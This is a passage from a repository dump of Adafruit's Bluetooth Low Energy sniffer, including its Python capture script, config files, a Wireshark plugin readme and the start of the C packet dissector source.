out.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>UARTPacketError</td>\n  <td>UART SLIP parsing error.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>InvalidPacketException</td>\n  <td>Other UART parsing error.</td>\n</tr>\n</table>\n\n<!--\n<h3 id=\"exceptions\">Exceptions</h3>\n\n<table>\n<tr class=\"trh\">\n  <th>Field</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\">\n  <td></td>\n  <td></td> \n  <td></td>\n</tr>\n<tr class=\"tr1\">\n  <td></td>\n  <td></td> \n  <td></td>\n</tr>\n</table>\n-->\n\n</html>"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/requirements.txt",
    "content": "six>=1.11.0\npyserial>=3.4\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/setup.cfg",
    "content": "[flake8]\n\nmax-line-length=100\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/sniffer.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import print_function\nfrom six.moves import input\n\nfrom protocols.BLE.Adafruit_BLESniffer.SnifferAPI import CaptureFiles, Sniffer\nfrom protocols.BLE.Adafruit_BLESniffer.SnifferAPI.Devices import Device\n\n__author__ = \"ktown\"\n__copyright__ = \"Copyright Adafruit Industries 2014 (adafruit.com)\"\n__license__ = \"MIT\"\n__version__ = \"0.1.0\"\n\nimport os\nimport sys\nimport time\nimport argparse\n\n\n\nmySniffer = None\n\"\"\"@type: SnifferAPI.Sniffer.Sniffer\"\"\"\n\n\ndef setup(serport, delay=6):\n    \"\"\"\n    Tries to connect to and initialize the sniffer using the specific serial port\n    @param serport: The name of the serial port to connect to (\"COM14\", \"/dev/tty.usbmodem1412311\", etc.)\n    @type serport: str\n    @param delay: Time to wait for the UART connection to be established (in seconds)\n    @param delay: int\n    \"\"\"\n    global mySniffer\n\n    # Initialize the device on the specified serial port\n    print(\"Connecting to sniffer on \" + serport)\n    mySniffer = Sniffer.Sniffer(serport)\n    # Start the sniffer\n    mySniffer.start()\n    # Wait a bit for the connection to initialise\n    time.sleep(delay)\n\n\ndef scanForDevices(scantime=5):\n    \"\"\"\n    @param scantime: The time (in seconds) to scan for BLE devices in range\n    @type scantime: float\n    @return: A DeviceList of any devices found during the scanning process\n    @rtype: DeviceList\n    \"\"\"\n    if args.verbose:\n        print(\"Starting BLE device scan ({0} seconds)\".format(str(scantime)))\n\n    mySniffer.scan()\n    time.sleep(scantime)\n    devs = mySniffer.getDevices()\n    return devs\n\n\ndef selectDevice(devlist):\n    \"\"\"\n    Attempts to select a specific Device from the supplied DeviceList\n    @param devlist: The full DeviceList that will be used to select a target Device from\n    @type devlist: DeviceList\n    @return: A Device object if a selection was made, otherwise None\n    @rtype: Device\n    \"\"\"\n    count = 0\n\n    if len(devlist):\n        print(\"Found {0} BLE devices:\\n\".format(str(len(devlist))))\n        # Display a list of devices, sorting them by index number\n        for d in devlist.asList():\n            \"\"\"@type : Device\"\"\"\n            count += 1\n            print(\"  [{0}] {1} ({2}:{3}:{4}:{5}:{6}:{7}, RSSI = {8})\".format(count, d.name,\n                                                                             \"%02X\" % d.address[0],\n                                                                             \"%02X\" % d.address[1],\n                                                                             \"%02X\" % d.address[2],\n                                                                             \"%02X\" % d.address[3],\n                                                                             \"%02X\" % d.address[4],\n                                                                             \"%02X\" % d.address[5],\n                                                                             d.RSSI))\n        try:\n            i = int(input(\"\\nSelect a device to sniff, or '0' to scan again\\n> \"))\n        except KeyboardInterrupt:\n            raise KeyboardInterrupt\n            return None\n        except:\n            return None\n\n        # Select a device or scan again, depending on the input\n        if (i > 0) and (i <= count):\n            # Select the indicated device\n            return devlist.find(i - 1)\n        else:\n            # This will start a new scan\n            return None\n\n\ndef dumpPackets():\n    \"\"\"Dumps incoming packets to the display\"\"\"\n    # Get (pop) unprocessed BLE packets.\n    packets = mySniffer.getPackets()\n    # Display the packets on the screen in verbose mode\n    if args.verbose:\n        for packet in packets:\n            if packet.blePacket is not None:\n                # Display the raw BLE packet payload\n                # Note: 'BlePacket' is nested inside the higher level 'Packet' wrapper class\n                print(packet.blePacket.payload)\n            else:\n                print(packet)\n    else:\n        print('.' * len(packets))\n\n\nif __name__ == '__main__':\n    \"\"\"Main program execution point\"\"\"\n\n    # Instantiate the command line argument parser\n    argparser = argparse.ArgumentParser(\n        description=\"Interacts with the Bluefruit LE Friend Sniffer firmware\")\n\n    # Add the individual arguments\n    # Mandatory arguments:\n    argparser.add_argument(\"serialport\",\n                           help=\"serial port location ('COM14', '/dev/tty.usbserial-DN009WNO', etc.)\")\n\n    # Optional arguments:\n    argparser.add_argument(\"-l\", \"--logfile\",\n                           dest=\"logfile\",\n                           default=CaptureFiles.captureFilePath,\n                           help=\"log packets to file, default: \" + CaptureFiles.captureFilePath)\n\n    argparser.add_argument(\"-t\", \"--target\",\n                           dest=\"target\",\n                           help=\"target device address\")\n\n    argparser.add_argument(\"-r\", \"--random_txaddr\",\n                           dest=\"txaddr\",\n                           action=\"store_true\",\n                           default=False,\n                           help=\"Target device is using random address\")\n\n    argparser.add_argument(\"-v\", \"--verbose\",\n                           dest=\"verbose\",\n                           action=\"store_true\",\n                           default=False,\n                           help=\"verbose mode (all serial traffic is displayed)\")\n\n    # Parser the arguments passed in from the command-line\n    args = argparser.parse_args()\n\n    # Display the libpcap logfile location\n    print(\"Capturing data to \" + args.logfile)\n    CaptureFiles.captureFilePath = args.logfile\n\n    # Try to open the serial port\n    try:\n        setup(args.serialport)\n    except OSError:\n        # pySerial returns an OSError if an invalid port is supplied\n        print(\"Unable to open serial port '\" + args.serialport + \"'\")\n        sys.exit(-1)\n    except KeyboardInterrupt:\n        sys.exit(-1)\n\n    # Optionally display some information about the sniffer\n    if args.verbose:\n        print(\"Sniffer Firmware Version: \" + str(mySniffer.swversion))\n\n    # Scan for devices in range until the user makes a selection\n    try:\n        d = None\n        \"\"\"@type: Device\"\"\"\n        if args.target:\n            print(\"specified target device\", args.target)\n            _mac = [int(x, 16) for x in args.target.split(':')]\n            if len(_mac) != 6:\n                raise ValueError(\"Invalid device address\")\n            # -72 seems reasonable for a target device right next to the sniffer\n            d = Device(_mac, name=\"NoDeviceName\", RSSI=-72, txAdd=args.txaddr)\n\n        # loop will be skipped if a target device is specified on commandline\n        while d is None:\n            print(\"Scanning for BLE devices (5s) ...\")\n            devlist = scanForDevices()\n            if len(devlist):\n                # Select a device\n                d = selectDevice(devlist)\n\n        # Start sniffing the selected device\n        print(\"Attempting to follow device {0}:{1}:{2}:{3}:{4}:{5}\".format(\"%02X\" % d.address[0],\n                                                                           \"%02X\" % d.address[1],\n                                                                           \"%02X\" % d.address[2],\n                                                                           \"%02X\" % d.address[3],\n                                                                           \"%02X\" % d.address[4],\n                                                                           \"%02X\" % d.address[5]))\n        # Make sure we actually followed the selected device (i.e. it's still available, etc.)\n        if d is not None:\n            mySniffer.follow(d)\n        else:\n            print(\"ERROR: Could not find the selected device\")\n\n        # Dump packets\n        while True:\n            dumpPackets()\n            time.sleep(1)\n\n        # Close gracefully\n        mySniffer.doExit()\n        sys.exit()\n\n    except (KeyboardInterrupt, ValueError, IndexError) as e:\n        # Close gracefully on CTRL+C\n        if 'KeyboardInterrupt' not in str(type(e)):\n            print(\"Caught exception:\", e)\n        mySniffer.doExit()\n        sys.exit(-1)\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/sniffer_uart_protocol.xlsx",
    "content": ""
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/OSX/readme.md",
    "content": "This file should be place in the ~/.wireshark/plugins folder on your OS X development machine, so \n`~/.wireshark/plugins/nordic_btle.so`.\n\nThis plugin should add the following protocol decoder option:\n\n![screen shot 2015-03-22 at 13 54 45](https://cloud.githubusercontent.com/assets/181073/6769467/293957a6-d09d-11e4-9878-631cb65d42f9.png)\n\nCompiled File taken from [nrf-ble-sniffer-osx](http://sourceforge.net/projects/nrfblesnifferosx/), based on the \nsource code one level higher in this repo.\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/packet-btle.c",
    "content": "/* packet-btle.c\n * Routines for Bluetooth Low Energy dissection\n * Copyright 2013, Mike Ryan, mikeryan /at/ isecpartners /dot/ com\n * Copyright 2014, Nordic Semiconductor ASA\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n */\n\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n \n// #include <wireshark/config.h> /* needed for epan/gcc-4.x */\n#include <epan/packet.h>\n#include <epan/prefs.h>\n#include <epan/expert.h>\n#include <epan/wmem/wmem.h>\n#include <stdio.h>\n\n\n/* LL control opcodes */\n#define LL_CONNECTION_UPDATE_REQ 0x00 \n#define LL_CHANNEL_MAP_REQ 0x01 \n#define LL_TERMINATE_IND 0x02\n#define LL_ENC_REQ 0x03\n#define LL_ENC_RSP 0x04 \n#define LL_START_ENC_REQ 0x05\n#define LL_START_ENC_RSP 0x06\n#define LL_UNKNOWN_RSP 0x07\n#define LL_FEATURE_REQ 0x08\n#define LL_FEATURE_RSP 0x09\n#define LL_PAUSE_ENC_REQ 0x0A\n#define LL_PAUSE_ENC_RSP 0x0B\n#define LL_VERSION_IND 0x0C\n#define LL_REJECT_IND 0x0D\n\n\n/* function prototypes */\nvoid proto_reg_handoff_btle(void);\n\n/* initialize the protocol and registered fields */\nstatic int proto_btle = -1;\nstatic int hf_btle_pkthdr = -1;\nstatic int hf_btle_aa = -1;\nstatic int hf_btle_type = -1;\nstatic int hf_btle_randomized_tx = -1;\nstatic int hf_btle_randomized_rx = -1;\nstatic int hf_btle_length = -1;\nstatic int hf_btle_adv_addr = -1;\nstatic int hf_btle_adv_data = -1;\nstatic int hf_btle_init_addr = -1;\nstatic int hf_btle_scan_addr = -1;\nstatic int hf_btle_scan_rsp_data = -1;\nstatic int hf_btle_connect = -1;\nstatic int hf_btle_connect_aa = -1;\nstatic int hf_btle_crc_init = -1;\nstatic int hf_btle_win_size = -1;\nstatic int hf_btle_win_offset = -1;\nstatic int hf_btle_interval = -1;\nstatic int hf_btle_min_interval = -1;\nstatic int hf_btle_max_interval = -1;\nstatic int hf_btle_latency = -1;\nstatic int hf_btle_timeout = -1;\nstatic int hf_btle_hop_interval = -1;\nstatic int hf_btle_sleep_clock_accuracy = -1;\nstatic int hf_btle_data = -1;\nstatic int hf_btle_data_llid = -1;\nstatic int hf_btle_data_nesn = -1;\nstatic int hf_btle_data_sn = -1;\nstatic int hf_btle_data_md = -1;\nstatic int hf_btle_data_rfu = -1;\nstatic int hf_btle_ll_control = -1;\nstatic int hf_btle_ll_control_opcode = -1;\nstatic int hf_btle_ll_control_data = -1;\nstatic int hf_btle_ll_control_ll_enc_req = -1;\nstatic int hf_btle_ll_control_ll_enc_req_rand = -1;\nstatic int hf_btle_ll_control_ll_enc_req_ediv = -1;\nstatic int hf_btle_ll_control_ll_enc_req_skdm = -1;\nstatic int hf_btle_ll_control_ll_enc_req_ivm = -1;\nstatic int hf_btle_ll_control_ll_enc_rsp = -1;\nstatic int hf_btle_ll_control_ll_enc_rsp_skds = -1;\nstatic int hf_btle_ll_control_ll_enc_rsp_ivs = -1;\nstatic int hf_btle_crc = -1;\nstatic int hf_btle_instant = -1;\nstatic int hf_btle_channel_map = -1;\nstatic int hf_btle_enabled_channels = -1;\nstatic int hf_btle_error_code = -1;\nstatic int hf_btle_unknown_type = -1;\nstatic int hf_btle_feature_set = -1;\nstatic int hf_btle_supported_feature = -1;\nstatic int hf_btle_unsupported_feature = -1;\nstatic int hf_btle_bt_version = -1;\nstatic int hf_btle_company_id = -1;\nstatic int hf_btle_sub_version_num = -1;\n\nstatic int hf_btle_adv_data_attr = -1;\nstatic int hf_btle_adv_data_attr_type = -1;\nstatic int hf_btle_adv_data_attr_length = -1;\nstatic int hf_btle_adv_data_attr_value = -1;\nstatic int hf_btle_adv_data_attr_value_string = -1;\n\n// #if 0\n// static int hf_btle_adv_data_flags = -1;\n// static int hf_btle_adv_data_inc_16b_uuids = -1;\n// static int hf_btle_adv_data_com_16b_uuids = -1;\n// static int hf_btle_adv_data_inc_32b_uuids = -1;\n// static int hf_btle_adv_data_com_32b_uuids = -1;\n// static int hf_btle_adv_data_inc_128b_uuids = -1;\n// static int hf_btle_adv_data_com_128b_uuids = -1;\n// static int hf_btle_adv_data_short_local_name = -1;\n// static int hf_btle_adv_data_com_local_name = -1;\n// static int hf_btle_adv_data_tx_power = -1;\n// static int hf_btle_adv_data_dev_class = -1;\n// static int hf_btle_adv_data_pair_hash_c = -1;\n// static int hf_btle_adv_data_pair_rand_r = -1;\n// static int hf_btle_adv_data_dev_id = -1;\n// static int hf_btle_adv_data_sec_man_oob_flags = -1;\n// static int hf_btle_adv_data_conn_int_range = -1;\n// static int hf_btle_adv_data_16b_service_uuids = -1;\n// static int hf_btle_adv_data_128b_service_uuids = -1;\n// static int hf_btle_adv_data_service_data = -1;\n// static int hf_btle_adv_data_pub_target_addr = -1;\n// static int hf_btle_adv_data_rand_target_addr = -1;\n// static int hf_btle_adv_data_appearance = -1;\n// static int hf_btle_adv_data_adv_int = -1;\n// static int hf_btle_adv_data_manufacturer = -1;\n\n\n#define index_hf_btle_adv_data_flags 1\n#define index_hf_btle_adv_data_inc_16b_uuids 2\n#define index_hf_btle_adv_data_com_16b_uuids 3\n#define index_hf_btle_adv_data_inc_32b_uuids 4\n#define index_hf_btle_adv_data_com_32b_uuids 5\n#define index_hf_btle_adv_data_inc_128b_uuids 6\n#define index_hf_btle_adv_data_com_128b_uuids 7\n#define index_hf_btle_adv_data_short_local_name 8\n#define index_hf_btle_adv_data_com_local_name 9\n#define index_hf_btle_adv_data_tx_power 10\n#define index_hf_btle_adv_data_dev_class 13\n#define index_hf_btle_adv_data_pair_hash_c 14\n#define index_hf_btle_adv_data_pair_rand_r 15\n#define index_hf_btle_adv_data_dev_id 16\n#define index_hf_btle_adv_data_sec_man_oob_flags 17\n#define index_hf_btle_adv_data_conn_int_range 18\n#define index_hf_btle_adv_data_16b_service_uuids 20\n#define index_hf_btle_adv_data_128b_service_uuids 21\n#define index_hf_btle_adv_data_service_data 22\n#define index_hf_btle_adv_data_pub_target_addr 23\n#define index_hf_btle_adv_data_rand_target_addr 24\n#define index_hf_btle_adv_data_appearance 25\n#define index_hf_btle_adv_data_adv_int 26\n#define index_hf_btle_adv_data_service_data_32b 0x20\n#define index_hf_btle_adv_data_service_data_128b 0x21\n// #define index_hf_btle_adv_data_manufacturer 255\n\n\nstatic int hf_btle_adv_data_attrs[40] = {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1};\nstatic int hf_btle_adv_data_manufacturer = -1;\nstatic int hf_btle_adv_data_unknown = -1;\n\nstatic int hf_btle_adv_data_flag_le_limited_discoverable = -1;\nstatic int hf_btle_adv_data_flag_le_general_discoverable = -1;\nstatic int hf_btle_adv_data_flag_br_edr_not_supported = -1;\nstatic int hf_btle_adv_data_flag_simultaneous_le_br_edr_controller = -1;\nstatic int hf_btle_adv_data_flag_simultaneous_le_br_edr_host = -1;\n\nstatic int hf_btle_128b_uuid = -1;\nstatic int hf_btle_32b_uuid = -1;\nstatic int hf_btle_16b_uuid = -1;\n\nstatic int hf_service_data_value = -1;\nstatic int hf_btle_adv_data_adv_int_ms = -1;\n\n\n// static expert_field ei_btle_packet_too_short = EI_INIT;\n// static expert_field ei_btle_packet_too_long = EI_INIT;\n\n\n// #endif\n\n\nstatic const value_string packet_types[] = {\n\t{ 0x0, \"ADV_IND\" },\n\t{ 0x1, \"ADV_DIRECT_IND\" },\n\t{ 0x2, \"ADV_NONCONN_IND\" },\n\t{ 0x3, \"SCAN_REQ\" },\n\t{ 0x4, \"SCAN_RSP\" },\n\t{ 0x5, \"CONNECT_REQ\" },\n\t{ 0x6, \"ADV_SCAN_IND\" },\n\t{ 0, NULL }\n};\n\nstatic const value_string llid_codes[] = {\n\t{ 0x0, \"undefined\" },\n\t{ 0x1, \"Continuation fragment of an L2CAP message\" },\n\t{ 0x2, \"Start of an L2CAP message or no fragmentation\" },\n\t{ 0x3, \"LL Control PDU\" },\n\t{ 0, NULL }\n};\n\nstatic const value_string ll_control_opcodes[] = {\n\t{ 0x00, \"LL_CONNECTION_UPDATE_REQ\" },\n\t{ 0x01, \"LL_CHANNEL_MAP_REQ\" },\n\t{ 0x02, \"LL_TERMINATE_IND\" },\n\t{ 0x03, \"LL_ENC_REQ\" },\n\t{ 0x04, \"LL_ENC_RSP\" },\n\t{ 0x05, \"LL_START_ENC_REQ\" },\n\t{ 0x06, \"LL_START_ENC_RSP\" },\n\t{ 0x07, \"LL_UNKNOWN_RSP\" },\n\t{ 0x08, \"LL_FEATURE_REQ\" },\n\t{ 0x09, \"LL_FEATURE_RSP\" },\n\t{ 0x0A, \"LL_PAUSE_ENC_REQ\" },\n\t{ 0x0B, \"LL_PAUSE_ENC_RSP\" },\n\t{ 0x0C, \"LL_VERSION_IND\" },\n\t{ 0x0D, \"LL_REJECT_IND\" },\n\t{ 0, NULL }\n};\n\nstatic const value_string adv_data_attr_types[] = {\n\t{ 0x01, \"Flags\" },\n\t{ 0x02, \"Incomplete List of 16-bit Service Class UUIDs\" },\n\t{ 0x03, \"Complete List of 16-bit Service Class UUIDs\" },\n\t{ 0x04, \"Incomplete List of 32-bit Service Class UUIDs\" },\n\t{ 0x05, \"Complete List of 32-bit Service Class UUIDs\" },\n\t{ 0x06, \"Incomplete List of 128-bit Service Class UUIDs\" },\n\t{ 0x07, \"Complete List of 128-bit Service Class UUIDs\" },\n\t{ 0x08, \"Shortened Local Name\" },\n\t{ 0x09, \"Complete Local Name\" },\n\t{ 0x0A, \"Tx Power Level\" },\n\t{ 0x0D, \"Class of Device\" },\n\t{ 0x0E, \"Simple Pairing Hash C\" },\n\t{ 0x0F, \"Simple Pairing Randomizer R\" },\n\t{ 0x10, \"Device ID / Security Manager TK Value\" },\n\t{ 0x11, \"Security Manager Out of Band Flags\" },\n\t{ 0x12, \"Slave Connection Interval Range\" },\n\t{ 0x14, \"List of 16-bit Service Solicitation UUIDs\" },\n\t{ 0x15, \"List of 128-bit Service Solicitation UUIDs\" },\n\t{ 0x16, \"Service Data for 16 bit UUID.\" },\n\t{ 0x17, \"Public Target Address\" },\n\t{ 0x18, \"Random Target Address\" },\n\t{ 0x19, \"Appearance\" },\n\t{ 0x1A, \"Advertising Interval\" },\n\t{ 0x20, \"Service Data for 32 bit UUID.\" },\n\t{ 0x21, \"Service Data for 128 bit UUID.\" },\n\t{ 0x21, \"Advertising Interval\" },\n\t{ 0xFF, \"Manufacturer Specific Data\" },\n\t{ 0xFE, \"Unknown type\" }\n\n};\n\nstatic const value_string sleep_clock_accuracy_values[] = {\n\t{ 0x00, \"251 ppm to 500 ppm\" },\n\t{ 0x01, \"151 ppm to 250 ppm\" },\n\t{ 0x02, \"101 ppm to 150 ppm\" },\n\t{ 0x03, \"76 ppm to 100 ppm\" },\n\t{ 0x04, \"51 ppm to 75 ppm\" },\n\t{ 0x05, \"31 ppm to 50 ppm\" },\n\t{ 0x06, \"21 ppm to 30 ppm\" },\n\t{ 0x07, \"0 ppm to 20 ppm\" }\n\n};\n\nstatic const value_string error_codes[] = {\n\t{ 0x00, \"Success\" },\n\t{ 0x01, \"Unknown HCI Command\" },\n\t{ 0x02, \"Unknown Connection Identifier\" },\n\t{ 0x03, \"Hardware Failure\" },\n\t{ 0x04, \"Page Timeout\" },\n\t{ 0x05, \"Authentication Failure\" },\n\t{ 0x06, \"PIN or Key Missing\" },\n\t{ 0x07, \"Memory Capacity Exceeded\" },\n\t{ 0x08, \"Connection Timeout\" },\n\t{ 0x09, \"Connection Limit Exceeded\" },\n\t{ 0x0A, \"Synchronous Connection Limit To A Device Exceeded\" },\n\t{ 0x0B, \"ACL Connection Already Exists\" },\n\t{ 0x0C, \"Command Disallowed\" },\n\t{ 0x0D, \"Connection Rejected due to Limited Resources\" },\n\t{ 0x0E, \"Connection Rejected Due To Security Reasons\" },\n\t{ 0x0F, \"Connection Rejected due to Unacceptable BD_ADDR\" },\n\t{ 0x10, \"Connection Accept Timeout Exceeded\" },\n\t{ 0x11, \"Unsupported Feature or Parameter Value\" },\n\t{ 0x12, \"Invalid HCI Command Parameters\" },\n\t{ 0x13, \"Remote User Terminated Connection\" },\n\t{ 0x14, \"Remote Device Terminated Connection due to Low Resources\" },\n\t{ 0x15, \"Remote Device Terminated Connection due to Power Off\" },\n\t{ 0x16, \"Connection Terminated By Local Host\" },\n\t{ 0x17, \"Repeated Attempts\" },\n\t{ 0x18, \"Pairing Not Allowed\" },\n\t{ 0x19, \"Unknown LMP PDU\" },\n\t{ 0x1A, \"Unsupported Remote Feature / Unsupported LMP Feature\" },\n\t{ 0x1B, \"SCO Offset Rejected\" },\n\t{ 0x1C, \"SCO Interval Rejected\" },\n\t{ 0x1D, \"SCO Air Mode Rejected\" },\n\t{ 0x1E, \"Invalid LMP Parameters\" },\n\t{ 0x1F, \"Unspecified Error\" },\n\t{ 0x20, \"Unsupported LMP Parameter Value\" },\n\t{ 0x21, \"Role Change Not Allowed\" },\n\t{ 0x22, \"LMP Response Timeout / LL Response Timeout\" },\n\t{ 0x23, \"LMP Error Transaction Collision\" },\n\t{ 0x24, \"LMP PDU Not Allowed\" },\n\t{ 0x25, \"Encryption Mode Not Acceptable\" },\n\t{ 0x26, \"Link Key cannot be Changed\" },\n\t{ 0x27, \"Requested QoS Not Supported\" },\n\t{ 0x28, \"Instant Passed\" },\n\t{ 0x29, \"Pairing With Unit Key Not Supported\" },\n\t{ 0x2A, \"Different Transaction Collision\" },\n\t{ 0x2B, \"Reserved\" },\n\t{ 0x2C, \"QoS Unacceptable Parameter\" },\n\t{ 0x2D, \"QoS Rejected\" },\n\t{ 0x2E, \"Channel Classification Not Supported\" },\n\t{ 0x2F, \"Insufficient Security\" },\n\t{ 0x30, \"Parameter Out Of Mandatory Range\" },\n\t{ 0x31, \"Reserved\" },\n\t{ 0x32, \"Role Switch Pending\" },\n\t{ 0x33, \"Reserved\" },\n\t{ 0x34, \"Reserved Slot Violation\" },\n\t{ 0x35, \"Role Switch Failed\" },\n\t{ 0x36, \"Extended Inquiry Response Too Large\" },\n\t{ 0x37, \"Secure Simple Pairing Not Supported By Host.\" },\n\t{ 0x38, \"Host Busy - Pairing\" },\n\t{ 0x39, \"Connection Rejected due to No Suitable Channel Found\" },\n\t{ 0x3A, \"Controller Busy\" },\n\t{ 0x3B, \"Unacceptable Connection Interval\" },\n\t{ 0x3C, \"Directed Advertising Timeout\" },\n\t{ 0x3D, \"Connection Terminated due to MIC Failure\" },\n\t{ 0x3E, \"Connection Failed to be Established\" },\n\t{ 0x3F, \"MAC Connection Failed\" }\n};\n\n/* These are the BR/EDR features. They are not used presently, but might be later. */\n/* See below for LE feature set. */\nstatic const value_string features[] = {\n\t{ 0, \"3 slot packets\" },\n\t{ 1, \"5 slot packets\" },\n\t{ 2, \"Encryption\" },\n\t{ 3, \"Slot offset\" },\n\t{ 4, \"Timing accuracy\" },\n\t{ 5, \"Role switch\" },\n\t{ 6, \"Hold mode\" },\n\t{ 7, \"Sniff mode\" },\n\t{ 8, \"Park state\" },\n\t{ 9, \"Power control requests\" },\n\t{ 10, \"Channel quality driven data rate (CQDDR)\" },\n\t{ 11, \"SCO link\" },\n\t{ 12, \"HV2 packets \" },\n\t{ 13, \"HV3 packets\" },\n\t{ 14, \"mu-law log synchronous data\" },\n\t{ 15, \"A-law log synchronous data\" },\n\t{ 16, \"CVSD synchronous data\" },\n\t{ 17, \"Paging parameter negotiation\" },\n\t{ 18, \"Power control\" },\n\t{ 19, \"Transparent synchronous data\" },\n\t{ 20, \"Flow control lag (least significant bit)\" },\n\t{ 21, \"Flow control lag (middle bit)\" },\n\t{ 22, \"Flow control lag (most significant bit)\" },\n\t{ 23, \"Broadcast Encryption\" },\n\t{ 24, \"Reserved\" },\n\t{ 25, \"Enhanced Data Rate ACL 2 Mbps mode\" },\n\t{ 26, \"Enhanced Data Rate ACL 3 Mbps mode\" },\n\t{ 27, \"Enhanced inquiry scan\" },\n\t{ 28, \"Interlaced inquiry scan\" },\n\t{ 29, \"Interlaced page scan\" },\n\t{ 30, \"RSSI with inquiry results\" },\n\t{ 31, \"Extended SCO link (EV3 packets)\" },\n\t{ 32, \"EV4 packets\" },\n\t{ 33, \"EV5 packets\" },\n\t{ 34, \"Reserved\" },\n\t{ 35, \"AFH capable slave \" },\n\t{ 36, \"AFH classification slave \" },\n\t{ 37, \"BR/EDR Not Supported\" },\n\t{ 38, \"LE Supported (Controller)\" },\n\t{ 39, \"3-slot Enhanced Data Rate ACL packets\" },\n\t{ 40, \"5-slot Enhanced Data Rate ACL packets\" },\n\t{ 41, \"Sniff subrating\" },\n\t{ 42, \"Pause encryption\" },\n\t{ 43, \"AFH capable master \" },\n\t{ 44, \"AFH classification master \" },\n\t{ 45, \"Enhanced Data Rate eSCO 2 Mbps mode\" },\n\t{ 46, \"Enhanced Data Rate eSCO 3 Mbps mode\" },\n\t{ 47, \"3-slot Enhanced Data Rate eSCO packets\" },\n\t{ 48, \"Extended Inquiry Response\" },\n\t{ 49, \"Simultaneous LE and BR/EDR to Same Device Capable (Controller)\" },\n\t{ 50, \"Reserved\" },\n\t{ 51, \"Secure Simple Pairing\" },\n\t{ 52, \"Encapsulated PDU\" },\n\t{ 53, \"Erroneous Data Reporting\" },\n\t{ 54, \"Non-flushable Packet Boundary Flag\" },\n\t{ 55, \"Reserved\" },\n\t{ 56, \"Link Supervision Timeout Changed Event\" },\n\t{ 57, \"Inquiry TX Power Level\" },\n\t{ 58, \"Enhanced Power Control\" },\n\t{ 59, \"Reserved\" },\n\t{ 60, \"Reserved\" },\n\t{ 61, \"Reserved\" },\n\t{ 62, \"Reserved\" },\n\t{ 63, \"Extended features\" }\n};\n\nstatic const value_string le_features[] = {\n\t{ 0, \"LE Encryption\"}\n};\n\nstatic const true_false_string addr_flag_tfs = \n{\n\t\"random\",\n\t\"public\"\n};\n\n\nstatic const guint32 ADV_AA = 0x8e89bed6;\nstatic const char nondirect_dst[] = \"<broadcast>\";\nstatic const guint8 nondirect_dst_string_length = 12;\n\nstatic const char implicit_src[] = \"<implicit>\";\nstatic const guint8 implicit_src_string_length = 11;\n\nstatic const char implicit_dst[] = \"<implicit>\";\nstatic const guint8 implicit_dst_string_length = 11;\n\n/* initialize the subtree pointers */\nstatic gint ett_btle = -1;\nstatic gint ett_btle_pkthdr = -1;\nstatic gint ett_btle_connect = -1;\nstatic gint ett_btle_data = -1;\nstatic gint ett_ll_enc_req = -1;\nstatic gint ett_ll_enc_rsp = -1;\nstatic gint ett_ll_control = -1;\nstatic gint ett_ll_control_data = -1;\nstatic gint ett_feature_set = -1;\nstatic gint ett_channel_map = -1;\n\nstatic gint ett_adv_data = -1;\nstatic gint ett_adv_data_attr = -1;\nstatic gint ett_adv_data_flags = -1;\nstatic gint ett_uuids = -1;\n\n/* subdissectors */\nstatic dissector_handle_t btl2cap_handle = NULL;\n\n\nvoid\nreverse_byte_order(guint8* dest, const guint8* src, guint size)\n{\n\tguint i;\n\tfor (i = 0; i < size; i++)\n\t{\n\t\tdest[i] = src[size-1-i];\n\t}\n}\n\nvoid\nreverse_byte_order_inplace(guint8* array, guint size)\n{\n\tguint i;\n\tguint8 tmp;\n\tfor (i = 0; i < size/2; i++)\n\t{\n\t\ttmp = array[i];\n\t\tarray[i] = array[size-1-i];\n\t\tarray[size-1-i] = tmp;\n\t}\n}\n\nvoid\ndissect_feature_set(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tproto_tree* feature_set_tree;\n\tproto_item* feature_set_item;\n\tint i;\n\tguint64 feature_set;\n\t\n\tfeature_set_item = proto_tree_add_item (tree, hf_btle_feature_set,\ttvb, offset, 8, ENC_LITTLE_ENDIAN);\n\tfeature_set_tree = proto_item_add_subtree(feature_set_item, ett_feature_set);\n\t\n\tfeature_set = tvb_get_letoh64(tvb, offset);\n\t\n\tfor (i = 0; i < 1; i++)\n\t{\n\t\tif (feature_set & ((guint64)1 << i))\n\t\t{\n\t\t\tproto_tree_add_uint(feature_set_tree, hf_btle_supported_feature, tvb, offset+(i/8), 1, i);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tproto_tree_add_uint(feature_set_tree, hf_btle_unsupported_feature, tvb, offset+(i/8), 1, i);\n\t\t}\n\t}\n}\n\nvoid\ndissect_channel_map(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tproto_item* map_item;\n\tproto_tree* map_tree;\n\tint i;\n\tguint64 map;\n\tgchar format[200] = \"Enabled channels: \";\n\tgchar* format_pointer = &format[18];\n\t\n\tmap_item = proto_tree_add_item(tree, hf_btle_channel_map, tvb, offset, 5, ENC_LITTLE_ENDIAN);\n\tmap_tree = proto_item_add_subtree(map_item, ett_channel_map);\n\t\n\tmap = tvb_get_letoh64(tvb, offset);\n\tfor (i = 0; i < 37; 